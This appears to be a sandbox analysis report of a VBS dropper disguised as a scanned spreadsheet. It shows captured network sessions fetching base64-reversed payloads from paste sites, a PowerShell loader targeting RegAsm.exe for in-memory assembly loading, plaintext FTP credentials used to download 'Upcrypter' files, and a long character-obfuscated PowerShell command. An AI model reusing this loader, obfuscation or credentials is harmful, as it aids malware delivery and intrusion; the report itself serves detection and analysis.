2024-10-03 07:28:19 UTC	8000	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 45 5a 30 4e 48 51 75 39 57 61 30 42 58 5a 6a 68 58 5a 57 46 30 50 75 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEZ0NHQu9Wa0BXZjhXZWF0PuA
2024-10-03 07:28:19 UTC	8000	IN	Data Raw: 79 41 41 77 51 45 56 47 64 6c 78 57 5a 45 42 77 34 41 41 41 64 6a 56 6d 61 69 39 55 5a 30 56 47 62 6c 52 45 41 6d 44 51 51 44 52 55 5a 30 46 57 5a 79 4e 45 41 78 41 41 41 42 52 33 59 6c 70 6d 59 50 52 58 5a 48 46 77 2b 41 41 41 62 73 52 6d 4c 79 4d 6a 55 46 4e 56 56 41 55 6e 62 6c 31 45 63 31 42 33 62 51 56 47 64 68 56 6d 63 44 42 77 61 41 41 51 64 75 56 57 54 77 56 48 63 76 42 31 61 6a 46 6d 63 55 4a 67 39 41 41 51 51 6a 39 6d 63 51 64 33 62 6b 35 57 61 58 5a 57 5a 45 42 77 6d 41 45 45 65 46 64 33 62 6b 35 57 61 58 56 47 64 68 56 6d 63 44 42 51 62 41 45 55 64 75 56 57 54 6b 35 57 5a 77 42 58 51 41 6b 41 41 41 45 45 65 46 4e 33 63 68 78 32 51 79 56 47 64 7a 6c 32 5a 6c 4a 6c 41 4d 42 41 41 7a 39 47 55 79 39 32 63 79 56 33 51 30 56 32 52 42 41 43 41 58 39 Data Ascii: yAAwQEVGdlxWZEBw4AAAdjVmai9UZ0VGblREAmDQQDRUZ0FWZyNEAxAAABR3YlpmYPRXZHFw+AAAbsRmLyMjUFNVVAUnbl1Ec1B3bQVGdhVmcDBwaAAQduVWTwVHcvB1ajFmcUJg9AAQQj9mcQd3bk5WaXZWZEBwmAEEeFd3bk5WaXVGdhVmcDBQbAEUduVWTk5WZwBXQAkAAAEEeFN3chx2QyVGdzl2ZlJlAMBAAz9GUy92cyV3Q0V2RBACAX9
2024-10-03 07:28:19 UTC	8000	IN	Data Raw: 41 41 41 77 2f 2f 2f 76 2f 41 41 41 41 41 38 2f 2f 2f 54 4e 41 41 41 41 41 2f 2f 2f 2f 2b 44 41 41 41 41 41 41 45 4e 67 5a 41 41 41 41 41 38 2f 2f 2f 37 50 41 41 41 41 41 2f 2f 2f 2f 55 44 41 41 41 41 77 2f 2f 2f 76 2f 41 41 41 41 41 41 41 52 44 63 42 41 41 41 41 41 2f 2f 2f 2f 2b 44 41 41 41 41 77 2f 2f 2f 50 30 41 41 41 41 41 38 2f 2f 2f 37 50 41 41 41 41 41 41 51 55 41 5a 44 41 41 41 41 77 2f 2f 2f 76 2f 41 41 41 41 41 38 2f 2f 2f 44 4e 41 41 41 41 41 2f 2f 2f 2f 2b 44 41 52 41 34 46 41 41 41 41 41 41 41 41 41 41 41 41 52 41 73 49 41 41 41 41 41 2f 2f 2f 2f 2b 44 41 41 41 41 77 2f 2f 2f 50 78 41 41 41 41 41 38 2f 2f 2f 37 50 41 41 41 41 41 41 51 45 41 69 44 41 41 41 41 77 2f 2f 2f 76 2f 41 41 41 41 41 38 2f 2f 2f 54 4e 41 41 41 41 41 2f 2f 2f 2f 2b 44 Data Ascii: AAAw///v/AAAAA8///TNAAAAA////+DAAAAAAENgZAAAAA8///7PAAAAA////UDAAAAw///v/AAAAAAARDcBAAAAA////+DAAAAw///P0AAAAA8///7PAAAAAAQUAZDAAAAw///v/AAAAA8///DNAAAAA////+DARA4FAAAAAAAAAAAARAsIAAAAA////+DAAAAw///PxAAAAA8///7PAAAAAAQEAiDAAAAw///v/AAAAA8///TNAAAAA////+D
2024-10-03 07:28:19 UTC	8000	IN	Data Raw: 4c 74 30 53 57 46 74 45 49 46 52 56 51 57 6c 6b 55 51 42 43 52 46 52 46 55 5a 4a 31 51 4f 56 45 49 4f 6c 30 52 46 4a 55 4c 74 30 53 4c 74 41 41 41 41 30 53 4c 74 30 53 4c 5a 56 30 53 67 55 45 56 42 5a 56 53 53 42 46 49 45 35 55 52 74 30 53 4c 74 30 43 41 74 30 53 4c 74 30 53 57 46 74 45 49 46 52 56 51 57 6c 6b 55 51 42 69 54 4a 64 55 52 43 31 53 4c 74 30 53 4c 41 41 41 41 74 30 53 4c 74 30 53 57 46 74 45 49 46 52 56 51 57 6c 6b 55 51 42 53 51 54 4a 46 49 45 35 55 52 74 30 53 4c 74 30 43 41 74 30 53 4c 74 30 53 57 46 74 45 49 46 52 56 51 57 6c 6b 55 51 42 53 51 54 4a 46 49 4f 6c 30 52 46 4a 55 4c 74 30 53 4c 74 41 41 41 74 30 53 4c 74 30 43 54 53 4e 45 49 35 41 54 4e 59 42 43 52 4f 56 55 4c 74 30 53 4c 74 41 41 41 41 41 51 4c 74 30 53 4c 74 77 6b 55 44 42 Data Ascii: Lt0SWFtEIFRVQWlkUQBCRFRFUZJ1QOVEIOl0RFJULt0SLtAAAA0SLt0SLZV0SgUEVBZVSSBFIE5URt0SLt0CAt0SLt0SWFtEIFRVQWlkUQBiTJdURC1SLt0SLAAAAt0SLt0SWFtEIFRVQWlkUQBSQTJFIE5URt0SLt0CAt0SLt0SWFtEIFRVQWlkUQBSQTJFIOl0RFJULt0SLtAAAt0SLt0CTSNEI5ATNYBCROVULt0SLtAAAAAQLt0SLtwkUDB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49722	188.114.97.3	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 07:28:21 UTC	43	OUT	GET /d/Ga0HE/0 HTTP/1.1 Host: paste.ee
2024-10-03 07:28:22 UTC	1197	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 07:28:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 541 Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OTIK77JQmffUdPZ1eJnxcSrA0F2vI944viQPgxsbTd1rVHPGivmlvOzDvShKiavpJIULnvzYd2LSyoxQlSELA%2FtNI10hoqEs5bSm%2BK%2FcvQEiwE0MrKORLY4Q6A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccb37078e1b4384-EWR
2024-10-03 07:28:22 UTC	172	IN	Data Raw: 24 64 71 73 78 42 20 3d 20 27 43 3a 5c 57 69 6e 64 6f 77 73 5c 4d 69 63 72 6f 73 6f 66 74 2e 4e 45 54 5c 27 20 2b 20 27 46 72 61 6d 65 77 6f 72 6b 5c 76 34 2e 30 2e 33 30 33 31 39 5c 27 20 2b 20 27 52 65 67 41 73 6d 2e 65 78 65 27 3b 0a 0a 24 66 56 4c 46 55 20 3d 20 27 e2 86 93 3a e2 86 93 27 3b 0a 24 6a 75 4e 6d 51 20 3d 20 27 41 27 3b 0a 0a 24 57 59 76 74 74 20 3d 20 27 25 71 6c 78 4b 50 25 27 2e 72 65 70 6c 61 63 65 28 20 24 66 56 4c 46 55 2c 20 24 6a 75 4e 6d 51 20 29 3b 0a 5b 42 79 74 65 5b 5d 5d 20 24 6c Data Ascii: $dqsxB = 'C:\Windows\Microsoft.NET\' + 'Framework\v4.0.30319\' + 'RegAsm.exe';$fVLFU = ':';$juNmQ = 'A';$WYvtt = '%qlxKP%'.replace( $fVLFU, $juNmQ );[Byte[]] $l
2024-10-03 07:28:22 UTC	369	IN	Data Raw: 61 57 77 4a 20 3d 20 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 20 24 57 59 76 74 74 20 29 3b 0a 0a 24 6d 5a 69 6f 61 20 3d 20 27 25 6e 6b 47 4d 76 25 27 2e 72 65 70 6c 61 63 65 28 20 24 66 56 4c 46 55 2c 20 24 6a 75 4e 6d 51 20 29 3b 0a 5b 42 79 74 65 5b 5d 5d 20 24 61 6e 4b 6c 6f 20 3d 20 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 20 24 6d 5a 69 6f 61 20 29 3b 0a 0a 24 61 7a 45 51 61 20 3d 20 22 43 6c 61 73 73 31 22 3b 0a 24 57 77 78 47 71 20 3d 20 22 52 75 6e 22 20 3b 0a 24 6e 6c 66 79 77 20 3d 20 22 43 6c 61 73 73 4c 69 62 72 61 72 79 31 2e 22 3b 0a 0a 5b 53 79 73 74 65 6d 2e 41 70 70 44 6f 6d 61 69 6e 5d 3a 3a 43 75 72 72 65 6e Data Ascii: aWwJ = [System.Convert]::FromBase64String( $WYvtt );$mZioa = '%nkGMv%'.replace( $fVLFU, $juNmQ );[Byte[]] $anKlo = [System.Convert]::FromBase64String( $mZioa );$azEQa = "Class1";$WwxGq = "Run" ;$nlfyw = "ClassLibrary1.";[System.AppDomain]::Curren

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49724	104.20.4.235	443	3796	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 07:28:23 UTC	74	OUT	GET /raw/pQQ0n3eA HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-10-03 07:28:24 UTC	391	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 07:28:24 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Thu, 03 Oct 2024 07:28:24 GMT Server: cloudflare CF-RAY: 8ccb3715ea2d42fe-EWR
2024-10-03 07:28:24 UTC	11	IN	Data Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a Data Ascii: 6false,
2024-10-03 07:28:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49728	104.20.4.235	443	2168	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 07:28:28 UTC	74	OUT	GET /raw/pQQ0n3eA HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-10-03 07:28:28 UTC	395	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 07:28:28 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 4 Last-Modified: Thu, 03 Oct 2024 07:28:24 GMT Server: cloudflare CF-RAY: 8ccb3730e9384387-EWR
2024-10-03 07:28:28 UTC	11	IN	Data Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a Data Ascii: 6false,
2024-10-03 07:28:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49732	104.20.4.235	443	5412	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 07:28:35 UTC	74	OUT	GET /raw/pQQ0n3eA HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-10-03 07:28:35 UTC	396	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 07:28:35 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 11 Last-Modified: Thu, 03 Oct 2024 07:28:24 GMT Server: cloudflare CF-RAY: 8ccb375f9ce90f84-EWR
2024-10-03 07:28:35 UTC	11	IN	Data Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a Data Ascii: 6false,
2024-10-03 07:28:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 3, 2024 09:28:09.531840086 CEST	21	49711	191.252.83.213	192.168.2.6	220 "Servico de FTP da Locaweb"
Oct 3, 2024 09:28:09.532802105 CEST	49711	21	192.168.2.6	191.252.83.213	USER desckvbrat1
Oct 3, 2024 09:28:09.761440039 CEST	21	49711	191.252.83.213	192.168.2.6	331 Username ok, send password.
Oct 3, 2024 09:28:09.761626005 CEST	49711	21	192.168.2.6	191.252.83.213	PASS developerpro21578Jp@@
Oct 3, 2024 09:28:09.999851942 CEST	21	49711	191.252.83.213	192.168.2.6	230 Login successful.
Oct 3, 2024 09:28:10.227607965 CEST	21	49711	191.252.83.213	192.168.2.6	501 Invalid argument.
Oct 3, 2024 09:28:10.227845907 CEST	49711	21	192.168.2.6	191.252.83.213	PWD
Oct 3, 2024 09:28:10.455776930 CEST	21	49711	191.252.83.213	192.168.2.6	257 "/" is the current directory.
Oct 3, 2024 09:28:10.455993891 CEST	49711	21	192.168.2.6	191.252.83.213	TYPE I
Oct 3, 2024 09:28:10.683629036 CEST	21	49711	191.252.83.213	192.168.2.6	200 Type set to: Binary.
Oct 3, 2024 09:28:10.683801889 CEST	49711	21	192.168.2.6	191.252.83.213	PASV
Oct 3, 2024 09:28:10.912352085 CEST	21	49711	191.252.83.213	192.168.2.6	227 Entering passive mode (191,252,83,213,236,159).
Oct 3, 2024 09:28:10.919930935 CEST	49711	21	192.168.2.6	191.252.83.213	RETR Upcrypter/01/DLL01.txt
Oct 3, 2024 09:28:11.149014950 CEST	21	49711	191.252.83.213	192.168.2.6	150 File status okay. About to open data connection.
Oct 3, 2024 09:28:11.545571089 CEST	21	49711	191.252.83.213	192.168.2.6	226 Transfer complete.
Oct 3, 2024 09:28:15.422820091 CEST	21	49715	191.252.83.213	192.168.2.6	220 "Servico de FTP da Locaweb"
Oct 3, 2024 09:28:15.423199892 CEST	49715	21	192.168.2.6	191.252.83.213	USER desckvbrat1
Oct 3, 2024 09:28:15.645931959 CEST	21	49715	191.252.83.213	192.168.2.6	331 Username ok, send password.
Oct 3, 2024 09:28:15.646159887 CEST	49715	21	192.168.2.6	191.252.83.213	PASS developerpro21578Jp@@
Oct 3, 2024 09:28:15.877351046 CEST	21	49715	191.252.83.213	192.168.2.6	230 Login successful.
Oct 3, 2024 09:28:16.100557089 CEST	21	49715	191.252.83.213	192.168.2.6	501 Invalid argument.
Oct 3, 2024 09:28:16.101016998 CEST	49715	21	192.168.2.6	191.252.83.213	PWD
Oct 3, 2024 09:28:16.517503023 CEST	21	49715	191.252.83.213	192.168.2.6	257 "/" is the current directory.
Oct 3, 2024 09:28:16.518407106 CEST	49715	21	192.168.2.6	191.252.83.213	TYPE I
Oct 3, 2024 09:28:16.740761995 CEST	21	49715	191.252.83.213	192.168.2.6	200 Type set to: Binary.
Oct 3, 2024 09:28:16.741871119 CEST	49715	21	192.168.2.6	191.252.83.213	PASV
Oct 3, 2024 09:28:16.966068983 CEST	21	49715	191.252.83.213	192.168.2.6	227 Entering passive mode (191,252,83,213,235,101).
Oct 3, 2024 09:28:16.974225998 CEST	49715	21	192.168.2.6	191.252.83.213	RETR Upcrypter/01/Rumpe.txt
Oct 3, 2024 09:28:17.197835922 CEST	21	49715	191.252.83.213	192.168.2.6	150 File status okay. About to open data connection.
Oct 3, 2024 09:28:17.583909035 CEST	21	49715	191.252.83.213	192.168.2.6	226 Transfer complete.
Oct 3, 2024 09:28:20.258150101 CEST	49715	21	192.168.2.6	191.252.83.213	PASV
Oct 3, 2024 09:28:20.480519056 CEST	21	49715	191.252.83.213	192.168.2.6	227 Entering passive mode (191,252,83,213,236,93).
Oct 3, 2024 09:28:20.487405062 CEST	49715	21	192.168.2.6	191.252.83.213	RETR Upcrypter/01/Entry.txt
Oct 3, 2024 09:28:20.710704088 CEST	21	49715	191.252.83.213	192.168.2.6	150 File status okay. About to open data connection.
Oct 3, 2024 09:28:21.101475000 CEST	21	49715	191.252.83.213	192.168.2.6	226 Transfer complete.

Target ID:	0
Start time:	03:28:02
Start date:	03/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs"
Imagebase:	0x7ff6df030000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	03:28:03
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'EQ' + [char]65 + 'R' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'EQ' + [char]65 + 'Jw' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + 'BY' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'VQB1' + [char]65 + 'Gg' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Gg' + [char]65 + 'd' + [char]65 + 'B0' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'cw' + [char]65 + '6' + [char]65 + 'C8' + [char]65 + 'LwB3' + [char]65 + 'Hc' + [char]65 + 'dw' + [char]65 + 'u' + [char]65 + 'Gc' + [char]65 + 'cgBh' + [char]65 + 'HQ' + [char]65 + 'aQB0' + [char]65 + 'HU' + [char]65 + 'Z' + [char]65 + 'Bl' + [char]65 + 'HM' + [char]65 + 'ZQBl' + [char]65 + 'Gs' + [char]65 + 'ZQBy' + [char]65 + 'HM' + [char]65 + 'LgBj' + [char]65 + 'G8' + [char]65 + 'bQ' + [char]65 + 'v' + [char]65 + 'Hc' + [char]65 + 'c' + [char]65 + '' + [char]65 + 't' + [char]65 + 'Gk' + [char]65 + 'bgBj' + [char]65 + 'Gw' + [char]65 + 'dQBk' + [char]65 + 'GU' + [char]65 + 'cw' + [char]65 + 'v' + [char]65 + 'GM' + [char]65 + 'dQBz' + [char]65 + 'HQ' + [char]65 + 'bwBt' + [char]65 + 'Gk' + [char]65 + 'egBl' + [char]65 + 'C8' + [char]65 + 'YwBz' + [char]65 + 'HM' + [char]65 + 'LwBi' + [char]65 + 'GQ' + [char]65 + 'LgB0' + [char]65 + 'Hg' + [char]65 + 'd' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'F0' + [char]65 + 'XQBb' + [char]65 + 'HQ' + [char]65 + 'YwBl' + [char]65 + 'Go' + [char]65 + 'YgBv' + [char]65 + 'Fs' + [char]65 + 'I' + [char]65 + '' + [char]65 + 's' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'b' + [char]65 + 'Bs' + [char]65 + 'HU' + [char]65 + 'bg' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bl' + [char]65 + 'Gs' + [char]65 + 'bwB2' + [char]65 + 'G4' + [char]65 + 'SQ' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Ek' + [char]65 + 'VgBG' + [char]65 + 'HI' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bk' + [char]65 + 'G8' + [char]65 + 'a' + [char]65 + 'B0' + [char]65 + 'GU' + [char]65 + 'TQB0' + [char]65 + 'GU' + [char]65 + 'Rw' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'Jw' + [char]65 + 'x' + [char]65 + 'HM' + [char]65 + 'cwBh' + [char]65 + 'Gw' + [char]65 + 'Qw' + [char]65 + 'u' + [char]65 + 'DM' + [char]65 + 'eQBy' + [char]65 + 'GE' + [char]65 + 'cgBi' + [char]65 + 'Gk' + [char]65 + 'T' + [char]65 + 'Bz' + [char]65 + 'HM' + [char]65 + 'YQBs' + [char]65 + 'EM' + [char]65 + 'Jw' + [char]65 + 'o' + [char]65 + 'GU' + [char]65 + 'c' + [char]65 + 'B5' + [char]65 + 'FQ' + [char]65 + 'd' + [char]65 + 'Bl' + [char]65 + 'Ec' + [char]65 + 'Lg' + [char]65 + 'p' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'WgBj' + [char]65 + 'EI' + [char]65 + 'YwBh' + [char]65 + 'CQ' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'o' + [char]65 + 'GQ' + [char]65 + 'YQBv' + [char]65 + 'Ew' + [char]65 + 'LgBu' + [char]65 + 'Gk' + [char]65 + 'YQBt' + [char]65 + 'G8' + [char]65 + 'R' + [char]65 + 'B0' + [char]65 + 'G4' + [char]65 + 'ZQBy' + [char]65 + 'HI' + [char]65 + 'dQBD' + [char]65 + 'Do' + [char]65 + 'OgBd' + [char]65 + 'G4' + [char]65 + 'aQBh' + [char]65 + 'G0' + [char]65 + 'bwBE' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'c' + [char]65 + 'BB' + [char]65 + 'C4' + [char]65 + 'bQBl' + [char]65 + 'HQ' + [char]65 + 'cwB5' + [char]65 + 'FM' + [char]65 + 'Ww' + [char]65 + '7' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'p' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'JwBB' + [char]65 + 'Cc' + [char]65 + 'I' + [char]65 + '' + [char]65 + 's' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'JwCTITo' + [char]65 + 'kyEn' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bl' + [char]65 + 'GM' + [char]65 + 'YQBs' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'ZQBS' + [char]65 + 'C4' + [char]65 + 'ZwBT' + [char]65 + 'Ho' + [char]65 + 'QwBC' + [char]65 + 'Gw' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'Cg' + [char]65 + 'ZwBu' + [char]65 + 'Gk' + [char]65 + 'cgB0' + [char]65 + 'FM' + [char]65 + 'N' + [char]65 + '' + [char]65 + '2' + [char]65 + 'GU' + [char]65 + 'cwBh' + [char]65 + 'EI' + [char]65 + 'bQBv' + [char]65 + 'HI' + [char]65 + 'Rg' + [char]65 + '6' + [char]65 + 'Do' + [char]65 + 'XQB0' + [char]65 + 'HI' + [char]65 + 'ZQB2' + [char]65 + 'G4' + [char]65 + 'bwBD' + [char]65 + 'C4' + [char]65 + 'bQBl' + [char]65 + 'HQ' + [char]65 + 'cwB5' + [char]65 + 'FM' + [char]65 + 'Ww' + [char]65 + 'g' + [char]65 + 'D0' + [char]65 + 'I' + [char]65 + 'Ba' + [char]65 + 'GM' + [char]65 + 'QgBj' + [char]65 + 'GE' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'F0' + [char]65 + 'XQBb' + [char]65 + 'GU' + [char]65 + 'd' + [char]65 + 'B5' + [char]65 + 'EI' + [char]65 + 'Ww' + [char]65 + '7' + [char]65 + 'Cc' + [char]65 + 'JQBJ' + [char]65 + 'Gg' + [char]65 + 'cQBS' + [char]65 + 'Fg' + [char]65 + 'JQ' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'PQ' + [char]65 + 'g' + [char]65 + 'Fg' + [char]65 + 'U' + [char]65 + 'BV' + [char]65 + 'HU' + [char]65 + 'a' + [char]65 + '' + [char]65 + 'k' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'Gc' + [char]65 + 'UwB6' + [char]65 + 'EM' + [char]65 + 'QgBs' + [char]65 + 'CQ' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'o' + [char]65 + 'Gc' + [char]65 + 'bgBp' + [char]65 + 'HI' + [char]65 + 'd' + [char]65 + 'BT' + [char]65 + 'GQ' + [char]65 + 'YQBv' + [char]65 + 'Gw' + [char]65 + 'bgB3' + [char]65 + 'G8' + [char]65 + 'R' + [char]65 + '' + [char]65 + 'u' + [char]65 + 'GY' + [char]65 + 'cQBk' + [char]65 + 'Go' + [char]65 + 'bQ' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'PQ' + [char]65 + 'g' + [char]65 + 'Gc' + [char]65 + 'UwB6' + [char]65 + 'EM' + [char]65 + 'QgBs' + [char]65 + 'CQ' + [char]65 + 'Ow' + [char]65 + '4' + [char]65 + 'EY' + [char]65 + 'V' + [char]65 + 'BV' + [char]65 + 'Do' + [char]65 + 'OgBd' + [char]65 + 'Gc' + [char]65 + 'bgBp' + [char]65 + 'GQ' + [char]65 + 'bwBj' + [char]65 + 'G4' + [char]65 + 'RQ' + [char]65 + 'u' + [char]65 + 'HQ' + [char]65 + 'e' + [char]65 + 'Bl' + [char]65 + 'FQ' + [char]65 + 'LgBt' + [char]65 + 'GU' + [char]65 + 'd' + [char]65 + 'Bz' + [char]65 + 'Hk' + [char]65 + 'UwBb' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'PQ' + [char]65 + 'g' + [char]65 + 'Gc' + [char]65 + 'bgBp' + [char]65 + 'GQ' + [char]65 + 'bwBj' + [char]65 + 'G4' + [char]65 + 'RQ' + [char]65 + 'u' + [char]65 + 'GY' + [char]65 + 'cQBk' + [char]65 + 'Go' + [char]65 + 'bQ' + [char]65 + 'k' + [char]65 + 'Ds' + [char]65 + 'KQB0' + [char]65 + 'G4' + [char]65 + 'ZQBp' + [char]65 + 'Gw' + [char]65 + 'QwBi' + [char]65 + 'GU' + [char]65 + 'Vw' + [char]65 + 'u' + [char]65 + 'HQ' + [char]65 + 'ZQBO' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'd' + [char]65 + 'Bj' + [char]65 + 'GU' + [char]65 + 'agBi' + [char]65 + 'E8' + [char]65 + 'LQB3' + [char]65 + 'GU' + [char]65 + 'Tg' + [char]65 + 'o' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'PQ' + [char]65 + 'g' + [char]65 + 'GY' + [char]65 + 'cQBk' + [char]65 + 'Go' + [char]65 + 'bQ' + [char]65 + 'k' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'o' + [char]65 + 'GU' + [char]65 + 'cwBv' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'cwBp' + [char]65 + 'GQ' + [char]65 + 'LgBm' + [char]65 + 'HE' + [char]65 + 'Z' + [char]65 + 'Bq' + [char]65 + 'G0' + [char]65 + 'J' + [char]65 + '' + [char]65 + '7' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'HQ' + [char]65 + 'e' + [char]65 + 'B0' + [char]65 + 'C4' + [char]65 + 'MQ' + [char]65 + 'w' + [char]65 + 'Ew' + [char]65 + 'T' + [char]65 + 'BE' + [char]65 + 'C8' + [char]65 + 'MQ' + [char]65 + 'w' + [char]65 + 'C8' + [char]65 + 'cgBl' + [char]65 + 'HQ' + [char]65 + 'c' + [char]65 + 'B5' + [char]65 + 'HI' + [char]65 + 'YwBw' + [char]65 + 'FU' + [char]65 + 'LwBy' + [char]65 + 'GI' + [char]65 + 'LgBt' + [char]65 + 'G8' + [char]65 + 'Yw' + [char]65 